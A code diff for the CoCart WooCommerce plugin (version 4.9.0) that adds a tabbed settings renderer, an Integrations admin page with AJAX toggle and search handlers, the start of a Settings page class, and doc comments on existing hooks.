+
+	/**
+	 * Render all tab panels.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, array<string, mixed>> $sections Sections from get_sections().
+	 * @param array<string, array<string, mixed>> $fields   Fields from get_fields().
+	 * @param array<string, mixed>                $settings Saved cocart_settings option.
+	 */
+	public function render_panels( $sections, $fields, $settings ) {
+		$default_tab = $this->get_default_tab( $sections );
+
+		foreach ( $sections as $key => $section ) {
+			$section_id     = $key;
+			$section_fields = isset( $fields[ $section_id ] ) ? $fields[ $section_id ] : array();
+
+			$is_active = ( $section_id === $default_tab );
+			$active    = $is_active ? ' is-active' : '';
+			printf(
+				'<div id="cocart-tab-%s" class="cocart-settings-panel%s" role="tabpanel"%s>',
+				esc_attr( $section_id ),
+				esc_attr( $active ),
+				( $is_active ? '' : ' hidden' ) // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+			);
+			echo '<table class="cocart-settings-table"><tbody>';
+
+			foreach ( $section_fields as $id => $field ) {
+				$value = ! empty( $field['disabled'] )
+					? ( $field['default'] ?? '' )
+					: $this->get_field_value( $id, $section_id, $settings, $field['default'] ?? '' );
+				$this->render_field_row( $field, $value, $section_id, $id );
+			}
+
+			echo '</tbody></table>';
+			echo '</div><!-- /cocart-tab-' . esc_html( $section_id ) . ' -->';
+		}
+	} // END render_panels()
+
+	/**
+	 * Return the saved value for a field, falling back to default.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param string               $id       Field ID (array key from get_fields()).
+	 * @param string               $section  Section ID.
+	 * @param array<string, mixed> $settings Saved cocart_settings option.
+	 * @param mixed                $fallback Default value from the field definition.
+	 *
+	 * @return mixed
+	 */
+	public function get_field_value( $id, $section, $settings, $fallback = '' ) {
+		if ( is_int( $fallback ) ) {
+			return isset( $settings[ $section ][ $id ] ) ? (int) $settings[ $section ][ $id ] : $fallback;
+		}
+
+		return ! empty( $settings[ $section ][ $id ] ) ? $settings[ $section ][ $id ] : $fallback;
+	} // END get_field_value()
+
+	/**
+	 * Check whether a field's filter is currently active and compute the effective value.
+	 *
+	 * Returns an array: [ 'is_filtered' => bool, 'effective_value' => mixed ]
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, mixed> $field Field definition (may have 'filter' key).
+	 * @param mixed                $value Current saved value.
+	 * @param string               $id    Field ID (array key from get_fields()).
+	 *
+	 * @return array<string, mixed>
+	 */
+	public function get_filter_state( $field, $value, $id = '' ) {
+		if ( empty( $field['filter']['hook'] ) ) {
+			return array(
+				'is_filtered'     => false,
+				'effective_value' => $value,
+			);
+		}
+
+		$hook        = $field['filter']['hook'];
+		$is_filtered = $this->has_external_filter( $hook );
+
+		if ( ! $is_filtered ) {
+			return array(
+				'is_filtered'     => false,
+				'effective_value' => $value,
+			);
+		}
+
+		// For inverted boolean filters (disable_* hooks): the filter returns true to disable.
+		if ( ! empty( $field['filter']['invert'] ) ) {
+			// Default passed to filter: the logical inverse of the saved "enabled" value.
+			$saved_enabled = ( 'yes' === $value );
+			/**
+			 * Filters whether the feature controlled by this field is disabled.
+			 *
+			 * @since 4.9.0
+			 */
+			$filter_result = apply_filters( $hook, ! $saved_enabled ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.DynamicHooknameFound
+			$effective     = $filter_result ? 'no' : 'yes';
+		} elseif ( 'checkbox' === $field['type'] && 'cocart_does_product_allow_price_change' === $hook ) {
+			// Name Your Price: filter takes extra params for per-product overrides.
+			$saved_enabled = ( 'yes' === $value );
+			/**
+			 * Filters whether a cart item is allowed to override the product price.
+			 *
+			 * @since 4.9.0
+			 */
+			$filter_result = apply_filters( $hook, $saved_enabled, array(), null ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.DynamicHooknameFound
+			$effective     = $filter_result ? 'yes' : 'no';
+		} elseif ( 'checkbox' === $field['type'] ) {
+			$saved_enabled = ( 'yes' === $value );
+			/**
+			 * Filters whether the feature controlled by this field is enabled.
+			 *
+			 * @since 4.9.0
+			 */
+			$filter_result = apply_filters( $hook, $saved_enabled ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.DynamicHooknameFound
+			$effective     = $filter_result ? 'yes' : 'no';
+		} elseif ( 'url' === $field['type'] && 'allowed_origin' === $id ) {
+			/**
+			 * Filters the allowed HTTP origin result.
+			 *
+			 * @since 4.9.0
+			 */
+			$effective = apply_filters( $hook, $value ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.DynamicHooknameFound
+		} elseif ( 'number' === $field['type'] && 'cocart_cart_expiration' === $hook ) {
+			$is_logged_in = ( 'loggedin_expiration_days' === $id );
+			/**
+			 * Filters the cart expiration time in seconds.
+			 *
+			 * @since 4.9.0
+			 */
+			$filter_result = (int) apply_filters( $hook, (int) $value * DAY_IN_SECONDS, $is_logged_in ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.DynamicHooknameFound
+			$effective     = (int) round( $filter_result / DAY_IN_SECONDS );
+		} else {
+			$effective = $value;
+		}
+
+		return array(
+			'is_filtered'     => true,
+			'effective_value' => $effective,
+		);
+	} // END get_filter_state()
+
+	/**
+	 * Render a single `<tr>` for a field.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, mixed> $field   Field definition.
+	 * @param mixed                $value   Saved or default value.
+	 * @param string               $section Section ID.
+	 * @param string               $id      Field ID (array key from get_fields()).
+	 */
+	public function render_field_row( $field, $value, $section, $id ) {
+		$disabled = ! empty( $field['disabled'] );
+
+		$is_filtered = false;
+		$locked      = $disabled;
+
+		if ( ! $disabled ) {
+			$filter_state = $this->get_filter_state( $field, $value, $id );
+			$is_filtered  = $filter_state['is_filtered'];
+			$value        = $filter_state['effective_value'];
+			$locked       = $is_filtered && ! empty( $field['filter']['locked'] );
+		}
+
+		echo '<tr>';
+		echo '<th scope="row">';
+		$this->render_field_label( $field, $section, $id );
+		echo '</th>';
+		echo '<td>';
+		$this->render_field_input( $field, $value, $locked, $section, $id );
+		if ( 'custom' !== $field['type'] ) {
+			$this->render_field_description( $field );
+			$this->render_field_docs_link( $field );
+		}
+		if ( $is_filtered && false !== ( $field['filter']['notice'] ?? true ) ) {
+			$this->render_filter_notice( $field );
+		}
+		if ( $disabled ) {
+			$this->render_disabled_notice();
+		}
+		echo '</td>';
+		echo '</tr>';
+	} // END render_field_row()
+
+	/**
+	 * Render the `<label>` element in the `<th>`.
+	 *
+	 * @access protected
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, mixed> $field   Field definition.
+	 * @param string               $section Section ID.
+	 * @param string               $id      Field ID (array key from get_fields()).
+	 */
+	protected function render_field_label( $field, $section, $id ) {
+		$has_id = ! in_array( $field['type'], array( 'checkbox', 'custom' ), true );
+		if ( $has_id ) {
+			$input_id = 'cocart-' . esc_attr( $section ) . '-' . esc_attr( str_replace( '_', '-', $id ) );
+			printf( '<label for="%s">%s</label>', esc_attr( $input_id ), wp_kses_post( $field['label'] ) );
+		} else {
+			printf( '<label>%s</label>', wp_kses_post( $field['label'] ) );
+		}
+	} // END render_field_label()
+
+	/**
+	 * Render the input control(s) for a field.
+	 *
+	 * @access protected
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, mixed> $field   Field definition.
+	 * @param mixed                $value   Current value.
+	 * @param bool                 $locked  Whether the field is locked by a filter or marked disabled.
+	 * @param string               $section Section ID.
+	 * @param string               $id      Field ID (array key from get_fields()).
+	 */
+	protected function render_field_input( $field, $value, $locked, $section, $id ) {
+		$name        = $section . '_' . $id;
+		$input_id    = 'cocart-' . $section . '-' . str_replace( '_', '-', $id );
+		$type        = $field['type'];
+		$placeholder = ! empty( $field['placeholder'] ) ? $field['placeholder'] : '';
+		$disabled    = ! empty( $field['disabled'] );
+
+		switch ( $type ) {
+			case 'text':
+			case 'url':
+				if ( 'url' === $type && 'allowed_origin' === $id ) {
+					$this->render_site_origin_notice();
+				}
+				printf(
+					'<input type="%s" id="%s" name="%s" class="regular-text" value="%s" placeholder="%s" style="width:25em;" %s>',
+					esc_attr( $type ),
+					esc_attr( $input_id ),
+					esc_attr( $name ),
+					esc_attr( (string) $value ),
+					esc_attr( $placeholder ),
+					disabled( $disabled, true, false )
+				);
+				break;
+
+			case 'textarea':
+				$readonly = $locked ? ' readonly' : '';
+				printf(
+					'<textarea id="%s" name="%s" rows="5" class="regular-text" placeholder="%s" style="width:25em;"%s %s>%s</textarea>',
+					esc_attr( $input_id ),
+					esc_attr( $name ),
+					esc_attr( $placeholder ),
+					$readonly, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					disabled( $disabled, true, false ),
+					esc_textarea( (string) $value )
+				);
+				break;
+
+			case 'number':
+				$min  = isset( $field['min'] ) ? ' min="' . esc_attr( $field['min'] ) . '"' : '';
+				$max  = isset( $field['max'] ) ? ' max="' . esc_attr( $field['max'] ) . '"' : '';
+				$step = isset( $field['step'] ) ? ' step="' . esc_attr( $field['step'] ) . '"' : '';
+				printf(
+					'<input type="number" id="%s" name="%s" class="small-text" value="%s"%s%s%s %s>',
+					esc_attr( $input_id ),
+					esc_attr( $name ),
+					esc_attr( (string) $value ),
+					$min,  // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					$max,  // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					$step, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					disabled( $disabled, true, false )
+				);
+				break;
+
+			case 'checkbox':
+				$enabled      = ( 'yes' === $value );
+				$title        = $enabled ? esc_attr__( 'Enabled', 'cart-rest-api-for-woocommerce' ) : esc_attr__( 'Disabled', 'cart-rest-api-for-woocommerce' );
+				$label        = $enabled ? esc_html__( 'Enabled', 'cart-rest-api-for-woocommerce' ) : esc_html__( 'Disabled', 'cart-rest-api-for-woocommerce' );
+				$locked_class = $locked ? ' cocart-toggle--locked' : '';
+				printf(
+					'<label class="cocart-toggle%s" title="%s">',
+					esc_attr( $locked_class ),
+					esc_attr( $title ) // Already escaped by esc_attr__() above; esc_attr() is a no-op but satisfies PHPCS.
+				);
+				printf(
+					'<input type="checkbox" class="cocart-settings-toggle" name="%s" data-field="%s" value="yes" %s %s>',
+					esc_attr( $name ),
+					esc_attr( $name ),
+					checked( $value, 'yes', false ),
+					disabled( $locked, true, false )
+				);
+				echo '<span class="cocart-toggle-slider"></span>';
+				printf( '<span class="cocart-status-label">%s</span>', esc_html( $label ) );
+				echo '</label>';
+				break;
+
+			case 'select':
+				$options = $field['options'] ?? array();
+				printf( '<select id="%s" name="%s" %s>', esc_attr( $input_id ), esc_attr( $name ), disabled( $disabled, true, false ) );
+				foreach ( $options as $opt_value => $opt_label ) {
+					printf(
+						'<option value="%s" %s>%s</option>',
+						esc_attr( $opt_value ),
+						selected( $value, $opt_value, false ),
+						esc_html( $opt_label )
+					);
+				}
+				echo '</select>';
+				break;
+
+			case 'readonly':
+				printf(
+					'<input type="text" id="%s" class="regular-text" value="%s" style="width:25em;" readonly>',
+					esc_attr( $input_id ),
+					esc_attr( (string) $value )
+				);
+				break;
+
+			case 'custom':
+				if ( ! empty( $field['render_cb'] ) && is_callable( $field['render_cb'] ) ) {
+					call_user_func( $field['render_cb'], $field, $value );
+				}
+				break;
+		}
+	} // END render_field_input()
+
+	/**
+	 * Render a notice stating the site's own origins are always allowed automatically.
+	 *
+	 * @access protected
+	 *
+	 * @since 4.9.0 Introduced.
+	 */
+	protected function render_site_origin_notice() {
+		$home_origin = wp_parse_url( home_url() );
+
+		if ( empty( $home_origin['host'] ) ) {
+			return;
+		}
+
+		$site_origin = ( ! empty( $home_origin['scheme'] ) ? $home_origin['scheme'] : 'https' ) . '://' . $home_origin['host'];
+
+		/* translators: %s: Site origin URL. */
+		$message = sprintf( __( 'Your site's own origin (%s) is already allowed automatically.', 'cart-rest-api-for-woocommerce' ), '<code>' . esc_html( $site_origin ) . '</code>' );
+
+		printf( '<p>%s</p>', wp_kses_post( $message ) );
+	} // END render_site_origin_notice()
+
+	/**
+	 * Render the description `<p>` if the field has one.
+	 *
+	 * @access protected
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, mixed> $field Field definition.
+	 */
+	protected function render_field_description( $field ) {
+		if ( ! empty( $field['description'] ) ) {
+			// Description is already translated by the registering code; escape on output.
+			printf( '<p class="description">%s</p>', wp_kses_post( $field['description'] ) );
+		}
+	} // END render_field_description()
+
+	/**
+	 * Render the documentation link badge if a URL is set.
+	 *
+	 * @access protected
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, mixed> $field Field definition.
+	 */
+	protected function render_field_docs_link( $field ) {
+		if ( empty( $field['docs_url'] ) ) {
+			return;
+		}
+		$label = isset( $field['docs_label'] ) ? esc_html( $field['docs_label'] ) : esc_html__( 'Docs', 'cart-rest-api-for-woocommerce' );
+		printf(
+			'<div class="cocart-setting-doc-wrap"><a href="%s" class="button cocart-button-alt" target="_blank" rel="noopener noreferrer"><span class="dashicons dashicons-external"></span>%s</a></div>',
+			esc_url( $field['docs_url'] ),
+			$label // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+		);
+	} // END render_field_docs_link()
+
+	/**
+	 * Render the filter-override notice bar below a field.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, mixed> $field Field definition (must have 'filter' key).
+	 */
+	public function render_filter_notice( $field ) {
+		if ( empty( $field['filter']['hook'] ) ) {
+			return;
+		}
+		$hook = $field['filter']['hook'];
+		printf(
+			'<p class="cocart-settings-filter-notice"><span class="dashicons dashicons-info-outline"></span>%s<button type="button" class="cocart-filter-info-btn button-link" data-filter="%s">%s</button></p>',
+			wp_kses(
+				/* translators: %s: filter hook name */
+				sprintf( __( 'Controlled by filter <code>%s</code>.', 'cart-rest-api-for-woocommerce' ), $hook ),
+				array( 'code' => array() )
+			),
+			esc_attr( $hook ),
+			esc_html__( 'More info', 'cart-rest-api-for-woocommerce' )
+		);
+	} // END render_filter_notice()
+
+	/**
+	 * Render a notice for fields disabled in Community, with a link
+	 * that opens a modal to upgrade CoCart.
+	 *
+	 * @access protected
+	 *
+	 * @since 4.9.0 Introduced.
+	 */
+	protected function render_disabled_notice() {
+		printf(
+			'<p class="cocart-settings-upgrade-notice"><span class="dashicons dashicons-lock"></span><button type="button" class="cocart-upgrade-info-btn button-link">%s</button></p>',
+			esc_html__( 'Upgrade to unlock', 'cart-rest-api-for-woocommerce' )
+		);
+	} // END render_disabled_notice()
+
+	/**
+	 * Build the filter_info array for wp_localize_script — only for hooks that are currently active.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, array<string, mixed>> $fields Fields from get_fields().
+	 *
+	 * @return array<string, array<int, array<string, mixed>>>
+	 */
+	public function build_filter_info( $fields ) {
+		$seen        = array();
+		$filter_info = array();
+
+		foreach ( $fields as $section_fields ) {
+			foreach ( $section_fields as $field ) {
+				if ( ! empty( $field['disabled'] ) || empty( $field['filter']['hook'] ) ) {
+					continue;
+				}
+				$hook = $field['filter']['hook'];
+				if ( isset( $seen[ $hook ] ) ) {
+					continue;
+				}
+				$seen[ $hook ] = true;
+				if ( $this->has_external_filter( $hook ) ) {
+					$filter_info[ $hook ] = $this->get_filter_locations( $hook );
+				}
+			}
+		}
+
+		return $filter_info;
+	} // END build_filter_info()
+} // END class
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-setup-wizard.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-setup-wizard.php
@@ -71,12 +71,26 @@
 			return $submenu_pages;
 		}

+		/**
+		 * Filter to enable or disable the setup wizard.
+		 *
+		 * @since 2.6.0 Introduced.
+		 *
+		 * @param bool $enable_setup_wizard True to enable, false to disable.
+		 */
 		if ( apply_filters( 'cocart_enable_setup_wizard', true ) ) {
 			$submenu_pages['setup-wizard'] = array(
 				'class_name' => 'CoCart_Admin_Setup_Wizard',
 				'data'       => array(
 					'page_title' => __( 'Setup Wizard', 'cart-rest-api-for-woocommerce' ),
 					'menu_title' => __( 'Setup Wizard', 'cart-rest-api-for-woocommerce' ),
+					/**
+					 * Filter the capability required to access CoCart admin screens.
+					 *
+					 * @since 2.0.0 Introduced.
+					 *
+					 * @param string $capability Required capability.
+					 */
 					'capability' => apply_filters( 'cocart_screen_capability', 'manage_options' ),
 					'menu_slug'  => 'cocart-setup',
 				),
@@ -122,12 +136,14 @@
 				'view'    => array( $this, 'cocart_setup_wizard_store_setup' ),
 				'handler' => array( $this, 'cocart_setup_wizard_store_setup_save' ),
 			),
+
 			/*
 			'sessions'    => array(
 				'name'    => __( 'Sessions', 'cart-rest-api-for-woocommerce' ),
 				'view'    => array( $this, 'cocart_setup_wizard_sessions' ),
 				'handler' => array( $this, 'cocart_setup_wizard_sessions_save' ),
-			),*/
+			),
+			*/
 			'ready'       => array(
 				'name'    => __( 'Ready!', 'cart-rest-api-for-woocommerce' ),
 				'view'    => array( $this, 'cocart_setup_wizard_ready' ),
@@ -135,6 +151,13 @@
 			),
 		);

+		/**
+		 * Filter the setup wizard steps.
+		 *
+		 * @since 2.6.0 Introduced.
+		 *
+		 * @param array $steps The setup wizard steps.
+		 */
 		$this->steps = apply_filters( 'cocart_setup_wizard_steps', $default_steps );
 		$this->step  = isset( $_GET['step'] ) ? sanitize_key( $_GET['step'] ) : current( array_keys( $this->steps ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended

@@ -218,7 +241,14 @@
 			<a class="cocart-setup-wizard-footer-links" href="<?php echo esc_url( $this->get_next_step_link() ); ?>"><?php esc_html_e( 'Skip this step', 'cart-rest-api-for-woocommerce' ); ?></a>
 		<?php endif; ?>

-		<?php do_action( 'cocart_setup_wizard_footer' ); ?>
+		<?php
+		/**
+		 * Hook: Fires in the setup wizard footer.
+		 *
+		 * @since 2.6.0 Introduced.
+		 */
+		do_action( 'cocart_setup_wizard_footer' );
+		?>

 		</div>
 		<?php
@@ -327,7 +357,7 @@
 			</select>

 			<p class="cocart-actions step">
-				<button class="button button-primary button-large cocart-button" value="<?php esc_attr_e( "Let's go!", 'cart-rest-api-for-woocommerce' ); ?>" name="save_step"><?php esc_html_e( "Let's go!", 'cart-rest-api-for-woocommerce' ); ?></button>
+				<button class="button button-primary cocart-button" value="<?php esc_attr_e( "Let's go!", 'cart-rest-api-for-woocommerce' ); ?>" name="save_step"><?php esc_html_e( "Let's go!", 'cart-rest-api-for-woocommerce' ); ?></button>
 			</p>
 		</form>
 		<?php
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin.php
@@ -5,7 +5,7 @@
  * @author  Sébastien Dumont
  * @package CoCartAdmin
  * @since   1.2.0
- * @version 4.0.0
+ * @version 4.9.0
  * @license GPL-2.0+
  */

@@ -44,6 +44,10 @@
 		 * @since 1.2.0 Introduced.
 		 */
 		public function includes() {
+			if ( ! is_admin() ) {
+				return;
+			}
+
 			// Required files.
 			include_once __DIR__ . '/abstract/abstract-class-submenu-page.php';                     // Admin Abstracts.
 			require_once __DIR__ . '/class-cocart-admin-assets.php';                                // Admin Assets.
@@ -61,7 +65,10 @@
 			include_once __DIR__ . '/woocommerce/class-cocart-wc-admin-system-status.php';          // WooCommerce System Status.

 			// Pages.
+			require_once __DIR__ . '/class-cocart-admin-settings-renderer.php';                    // Settings Renderer.
+			require_once __DIR__ . '/pages/class-cocart-admin-pages-settings.php';                  // Settings page.
 			require_once __DIR__ . '/pages/class-cocart-admin-pages-support.php';                   // Support.
+			require_once __DIR__ . '/pages/class-cocart-admin-pages-integrations.php';              // Integrations page.
 			require_once __DIR__ . '/class-cocart-admin-setup-wizard.php';                          // Setup Wizard.
 		} // END includes()

@@ -112,6 +119,13 @@
 			}

 			// Setup wizard redirect.
+			/**
+			 * Filter to enable or disable the setup wizard.
+			 *
+			 * @since 2.6.0 Introduced.
+			 *
+			 * @param bool $enable_setup_wizard True to enable, false to disable.
+			 */
 			if ( get_transient( '_cocart_activation_redirect' ) && apply_filters( 'cocart_enable_setup_wizard', true ) ) {
 				$do_redirect  = true;
 				$current_page = isset( $_GET['page'] ) ? wc_clean( sanitize_text_field( wp_unslash( $_GET['page'] ) ) ) : false; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
@@ -121,8 +135,17 @@
 					$do_redirect = false;
 				}

+				/**
+				 * Filter to prevent the automatic setup wizard redirect.
+				 *
+				 * @since 2.6.0 Introduced.
+				 *
+				 * @param bool $prevent True to prevent redirect, false to allow.
+				 */
+				$prevent_redirect = apply_filters( 'cocart_prevent_automatic_wizard_redirect', false );
+
 				// On these pages, or during these events, disable the redirect.
-				if ( 'cocart-setup' === $current_page || ! CoCart_Admin_Notices::has_notice( 'setup_wizard' ) || apply_filters( 'cocart_prevent_automatic_wizard_redirect', false ) || isset( $_GET['activate-multi'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				if ( 'cocart-setup' === $current_page || ! CoCart_Admin_Notices::has_notice( 'setup_wizard' ) || $prevent_redirect || isset( $_GET['activate-multi'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 					delete_transient( '_cocart_activation_redirect' );
 					$do_redirect = false;
 				}
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/pages/class-cocart-admin-pages-integrations.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/pages/class-cocart-admin-pages-integrations.php
@@ -0,0 +1,178 @@
+<?php
+/**
+ * Admin Page: Integrations page for CoCart.
+ *
+ * @author  Sébastien Dumont
+ * @package CoCartAdminPages
+ * @since   4.9.0 Introduced.
+ * @license GPL-3.0
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class CoCart_Admin_Integrations_Page extends CoCart_Submenu_Page {
+
+	/**
+	 * Helper init method that runs on parent __construct
+	 *
+	 * @access protected
+	 */
+	protected function init() {
+		add_filter( 'cocart_register_submenu_page', array( $this, 'register_submenu_page' ), 12 );
+		add_action( 'wp_ajax_cocart_toggle_integration', array( $this, 'ajax_toggle_integration' ) );
+		add_action( 'wp_ajax_cocart_search_integrations', array( $this, 'ajax_search_integrations' ) );
+	} // END init()
+
+	/**
+	 * Callback for the HTML output for the integrations page.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 */
+	public function output() {
+		?>
+		<div class="wrap cocart-wrapped cocart-wrapped--wide" role="main">
+			<div class="cocart-content">
+			<?php
+			include_once COCART_ABSPATH . 'includes/classes/admin/views/html-integrations.php';
+			?>
+			</div>
+		</div>
+		<div class="clear"></div>
+		<?php
+	} // END output()
+
+	/**
+	 * Register the admin submenu page.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array $submenu_pages Currently registered submenu pages.
+	 *
+	 * @return array $submenu_pages All registered submenu pages.
+	 */
+	public function register_submenu_page( $submenu_pages ) {
+		if ( ! is_array( $submenu_pages ) ) {
+			return $submenu_pages;
+		}
+
+		/**
+		 * Filter the capability required to access CoCart admin screens.
+		 *
+		 * @since 2.0.0 Introduced.
+		 *
+		 * @param string $capability Required capability.
+		 */
+		$screen_capability = apply_filters( 'cocart_screen_capability', 'manage_options' );
+
+		$submenu_pages['integrations'] = array(
+			'class_name' => 'CoCart_Admin_Integrations_Page',
+			'data'       => array(
+				'page_title' => __( 'Integrations', 'cart-rest-api-for-woocommerce' ),
+				'menu_title' => __( 'Integrations', 'cart-rest-api-for-woocommerce' ),
+				'capability' => $screen_capability,
+				'menu_slug'  => 'cocart-integrations',
+			),
+		);
+
+		return $submenu_pages;
+	} // END register_submenu_page()
+
+	/**
+	 * AJAX handler: toggle a single integration on or off.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 */
+	public function ajax_toggle_integration() {
+		check_ajax_referer( 'cocart_integrations_nonce', 'nonce' );
+
+		/**
+		 * Filter the capability required to access CoCart admin screens.
+		 *
+		 * @since 2.0.0 Introduced.
+		 *
+		 * @param string $capability Required capability.
+		 */
+		if ( ! current_user_can( apply_filters( 'cocart_screen_capability', 'manage_options' ) ) ) {
+			wp_send_json_error( array( 'message' => __( 'Permission denied.', 'cart-rest-api-for-woocommerce' ) ) );
+		}
+
+		$slug   = isset( $_POST['slug'] ) ? sanitize_key( wp_unslash( $_POST['slug'] ) ) : '';
+		$enable = isset( $_POST['enabled'] ) && 'true' === $_POST['enabled'];
+
+		if ( empty( $slug ) || ! array_key_exists( $slug, CoCart_Integrations::get_all() ) ) {
+			wp_send_json_error( array( 'message' => __( 'Unknown integration.', 'cart-rest-api-for-woocommerce' ) ) );
+		}
+
+		if ( $enable ) {
+			CoCart_Integrations::enable( $slug );
+		} else {
+			CoCart_Integrations::disable( $slug );
+		}
+
+		wp_send_json_success( array( 'enabled' => CoCart_Integrations::is_enabled( $slug ) ) );
+	} // END ajax_toggle_integration()
+
+	/**
+	 * AJAX handler: search integrations by name or description.
+	 *
+	 * Returns an HTML fragment of matching integration cards to replace the cards container.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 */
+	public function ajax_search_integrations() {
+		check_ajax_referer( 'cocart_integrations_nonce', 'nonce' );
+
+		/**
+		 * Filter the capability required to access CoCart admin screens.
+		 *
+		 * @since 2.0.0 Introduced.
+		 *
+		 * @param string $capability Required capability.
+		 */
+		if ( ! current_user_can( apply_filters( 'cocart_screen_capability', 'manage_options' ) ) ) {
+			wp_send_json_error( array( 'message' => __( 'Permission denied.', 'cart-rest-api-for-woocommerce' ) ) );
+		}
+
+		$query        = isset( $_POST['query'] ) ? sanitize_text_field( wp_unslash( $_POST['query'] ) ) : '';
+		$integrations = CoCart_Integrations::get_all();
+
+		if ( '' !== $query ) {
+			$integrations = array_filter(
+				$integrations,
+				function ( $args ) use ( $query ) {
+					return false !== stripos( $args['name'], $query ) ||
+							false !== stripos( $args['description'], $query );
+				}
+			);
+		}
+
+		ob_start();
+
+		if ( empty( $integrations ) ) {
+			echo '<p class="cocart-integrations-no-results">' . esc_html__( 'No integrations found.', 'cart-rest-api-for-woocommerce' ) . '</p>';
+		} else {
+			foreach ( $integrations as $slug => $args ) {
+				$enabled   = CoCart_Integrations::is_enabled( $slug );
+				$available = CoCart_Integrations::can_be_enabled( $slug );
+				include COCART_ABSPATH . 'includes/classes/admin/views/html-integrations-card.php';
+			}
+		}
+
+		$html = ob_get_clean();
+
+		wp_send_json_success( array( 'html' => $html ) );
+	} // END ajax_search_integrations()
+} // END class
+
+return new CoCart_Admin_Integrations_Page();
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/pages/class-cocart-admin-pages-settings.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/pages/class-cocart-admin-pages-settings.php
@@ -0,0 +1,601 @@
+<?php
+/**
+ * Admin Page: Settings page for CoCart.
+ *
+ * @author  Sébastien Dumont
+ * @package CoCartAdminPages
+ * @since   4.9.0 Introduced.
+ * @license GPL-3.0
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class CoCart_Admin_Settings_Page extends CoCart_Submenu_Page {
+
+	/**
+	 * Helper init method that runs on parent __construct
+	 *
+	 * @access protected
+	 */
+	protected function init() {
+		add_filter( 'cocart_register_submenu_page', array( $this, 'register_submenu_page' ), 10 );
+		add_action( 'wp_ajax_cocart_save_settings', array( $this, 'ajax_save_settings' ) );
+		add_action( 'wp_ajax_cocart_install_jwt', array( $this, 'ajax_install_jwt' ) );
+		add_action( 'wp_ajax_cocart_deactivate_jwt', array( $this, 'ajax_deactivate_jwt' ) );
+	} // END init()
+
+	/**
+	 * Returns registered settings sections, merged with any registered by add-ons.
+	 *
+	 * Each section: [ 'id' => string, 'label' => string, 'priority' => int ]
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @return array<string, array<string, mixed>>
+	 */
+	public function get_sections() {
+		$sections = array(
+			'general'  => array(
+				'label'    => __( 'General', 'cart-rest-api-for-woocommerce' ),
+				'priority' => 10,
+				'preview'  => true,
+			),
+			'cors'     => array(
+				'label'    => __( 'API & CORS', 'cart-rest-api-for-woocommerce' ),
+				'priority' => 20,
+			),
+			'auth'     => array(
+				'label'    => __( 'Auth', 'cart-rest-api-for-woocommerce' ),
+				'priority' => 30,
+			),
+			'session'  => array(
+				'label'    => __( 'Session', 'cart-rest-api-for-woocommerce' ),
+				'priority' => 40,
+			),
+			'features' => array(
+				'label'    => __( 'Features', 'cart-rest-api-for-woocommerce' ),
+				'priority' => 50,
+			),
+		);
+
+		/**
+		 * Filter: cocart_settings_sections
+		 *
+		 * Add-ons use this filter to register new settings tabs.
+		 *
+		 * @since 4.9.0 Introduced.
+		 *
+		 * @param array<string, array<string, mixed>> $sections Keyed by section ID.
+		 */
+		$sections = apply_filters( 'cocart_settings_sections', $sections );
+
+		uasort( $sections, static function ( $a, $b ) {
+			return ( $a['priority'] ?? 10 ) <=> ( $b['priority'] ?? 10 );
+		} );
+
+		return $sections;
+	} // END get_sections()
+
+	/**
+	 * Returns registered settings fields, merged with any registered by add-ons.
+	 *
+	 * Each field must include at minimum: id, section, label, type.
+	 * Supported types: text, url, password, textarea, number, checkbox, select, readonly, custom.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @return array<string, array<string, mixed>>
+	 */
+	public function get_fields() {
+		$fields = array(
+			'general'  => $this->get_general_fields(),
